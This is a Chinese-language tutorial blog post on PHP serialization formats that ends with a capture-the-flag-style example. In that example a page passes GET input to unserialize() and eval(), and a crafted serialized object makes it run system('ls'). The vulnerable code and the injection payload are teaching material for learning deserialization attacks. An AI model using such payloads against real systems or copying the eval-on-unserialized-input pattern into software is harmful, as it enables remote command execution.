• PHP序列化基础知识储备


    一、序列化与反序列化

    1、概念

    PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串,而反序列化则是将这些字符串重新转换回原来的数据类型。

    序列化通常使用 serialize() 函数完成,它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中,这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时,保证数据的完整性和结构的不变性。需要注意的是,序列化一个对象时会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

    反序列化则使用 unserialize() 函数,它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时,确保数据可以被正确地重构为原始状态。

    总的来说,这两个过程结合起来,可以轻松地在不同的运行环境中存储和传输数据,提高程序的可维护性和灵活性。


    2、对象序列化演示

    (1)公有修饰符:
    1. highlight_file(__FILE__);
    2. class test{
    3. public $pub='benben';
    4. function jineng(){
    5. echo $this->pub;
    6. }
    7. }
    8. $a = new test();
    9. echo serialize($a);
    10. ?>

    通过代码易知,最终将输出类test的实例化对象$a的序列化格式,输出结果如下:

    O:4:"test":1:{s:3:"pub";s:6:"benben";}

    我们对序列化内容格式进行具体分析:

    O -- 表示“Object”,在面向对象编程中译作“对象”。

    4 -- 表示类名的长度,通过代码易知类 test 的长度为4。

    1 -- 表示类中只有一个属性 $pub。

    {} -- 对类中的内容进行分析,但只会分析类中的属性,不会分析类中的方法。

    s -- 表示“string”,string表示字符串,表示类中属性$pub的名称是字符串。

    3 -- 表示类中属性$pub的长度为3。

    "pub" -- 表示类中属性$pub的名称。

    ;-- 起到间隔作用。

    s : 6 : "benben" -- 表示类中属性的值为一个字符串,字符串的长度为6,字符串的名称为 benben。

    (2)私有修饰符:
    1. highlight_file(__FILE__);
    2. class test{
    3. private $pub='benben';
    4. function jineng(){
    5. echo $this->pub;
    6. }
    7. }
    8. $a = new test();
    9. echo serialize($a);
    10. ?>

    我们观察到类中属性由 public 变成了 private,那么序列化内容会如何改变,改变后的序列化内容如下:

    O:4:"test":1:{s:9:"testpub";s:6:"benben";}

    我们观察到序列化内容发生了一些变化,其中属性名称变成了 testpub,这里涉及一个知识点,当属性由共有变成私有之后,属性名称会变为 类名 + 属性名称,但是我们又发现,属性长度为9,而testpub的长度仅仅为7,那么多出来的2个字符串长度由何而来呢?

    特别说明:私有属性中多出的两个字符串长度:

    私有属性中,长度为9的testpub其实在test的首尾拥有两个空格位,分别各占取一个字符串长度,testpub真实情况下应该写作 %00test%00pub,多出的两个字符串长度就是这两个%00。

    (3)保护修饰符:

    1. highlight_file(__FILE__);
    2. class test{
    3. protected $pub='benben';
    4. function jineng(){
    5. echo $this->pub;
    6. }
    7. }
    8. $a = new test();
    9. echo serialize($a);
    10. ?>

    类中属性由共有变为保护属性,序列化输出结果如下:

    O:4:"test":1:{s:6:"*pub";s:6:"benben";}

    我们发现属性名称和长度再次发生了变化,名称pub前多出一个*,并且名称长度也与实际观察到的长度不符合,多出了两个字符串长度。

    特别说明:保护属性中多出的两个字符串长度:

    实际保护属性名称为:空格 + * + 空格 + 属性名称。

    URL编码为:%00 + * + %00 + 属性名称。

    (4)成员属性调用对象:
    1. highlight_file(__FILE__);
    2. class test{
    3. var $pub='benben';
    4. function jineng(){
    5. echo $this->pub;
    6. }
    7. }
    8. class test2{
    9. var $ben;
    10. function __construct(){
    11. $this->ben=new test();
    12. }
    13. }
    14. $a = new test2();
    15. echo serialize($a);
    16. ?>

    上述代码将实例化对象赋值给成员属性,并将其以序列化格式输出。输出结果如下:

    O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

    与将一个字符串赋值给成员属性的格式并无不同,唯一不同点是内容变成了一个类罢了。


    3、对象反序列化演示

    1. highlight_file(__FILE__);
    2. class test {
    3. public $a = 'benben';
    4. protected $b = 666;
    5. private $c = false;
    6. public function displayVar() {
    7. echo $this->a;
    8. }
    9. }
    10. $d = new test();
    11. $d = serialize($d);
    12. echo $d."
      "
      ;
    13. echo urlencode($d)."
      "
      ;
    14. $a = urlencode($d);
    15. $b = unserialize(urldecode($a));
    16. var_dump($b);
    17. ?>

    输出代码如下:

    1. (1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
    2. 序列化格式输出
    3. (2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
    4. 序列化URL编码格式输出
    5. (3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
    6. 将序列化格式反序列化后输出(以反序列化格式输出)

    (3)即为反序列化格式输出,本质就是将序列化过的内容进行还原。


    二、PHP反序列化例题演示

    1、题目源代码:

    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. class test{
    4. public $a = 'echo "this is test!!";';
    5. public function displayVar() {
    6. eval($this->a);
    7. }
    8. }
    9. $get = $_GET["benben"];
    10. $b = unserialize($get);
    11. $b->displayVar() ;
    12. ?>

    通过分析源代码可知,test类中存在eval()函数,我们只需要利用eval()函数括号中的代码,来执行我们想要达到目的的指令。

    我们已知eval()括号中的值为属性a的值,我们只需要将我们想要执行的指令赋值给 $a 就可以了。

    那么如何将我们想要执行的命令赋值给 $呢?我们可以利用反序列化,分析代码可知,首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get,对$get进行反序列化后将反序列化后的值赋值给$b,最后调用$b中的displayVar()函数,就可以达到将输入值赋值给$a的目的,我们只需要将指令写在benben中即可。

    2、构造序列化代码:

    1. class test{
    2. public $a = '';
    3. }
    4. $b = new test();
    5. $b->a = "system('ls');";
    6. echo serialize($b);
    7. ?>

    输出结果如下:

    O:4:"test":1:{s:1:"a";s:13:"system('ls');";}

    将输出结果提交给GET["benben"],如下图:

    提交后页面如下:

    id值成功在页面中显示。

  • 相关阅读:
    城市公交查询系统的设计与实现(Java+Web+MySQL+J2EE)
    ECCV 2022最新研究成果:全球首个text-sketch-image数据集FS-COCO
    Notion 类笔记软件如何选择?Notion 、FlowUs、Wolai 对比评测
    Windows与网络基础-15-本地安全策略
    8条IM即时通讯开发iOS端移动网络调优建议
    (续)SSM整合之spring笔记(IOC 基于注解管理bean之注解和扫描,扫描组件,bean的id)(P087—P090)
    Kamiya丨Kamiya艾美捷抗FLAG多克隆说明书
    MySQL-查询数据库(一)
    海报设计必备!五个免费网站分享,让你的创意得以充分展现!
    【C++ Exceptions】Catch exceptions by reference!
  • 原文地址:https://blog.csdn.net/2302_79800344/article/details/136703680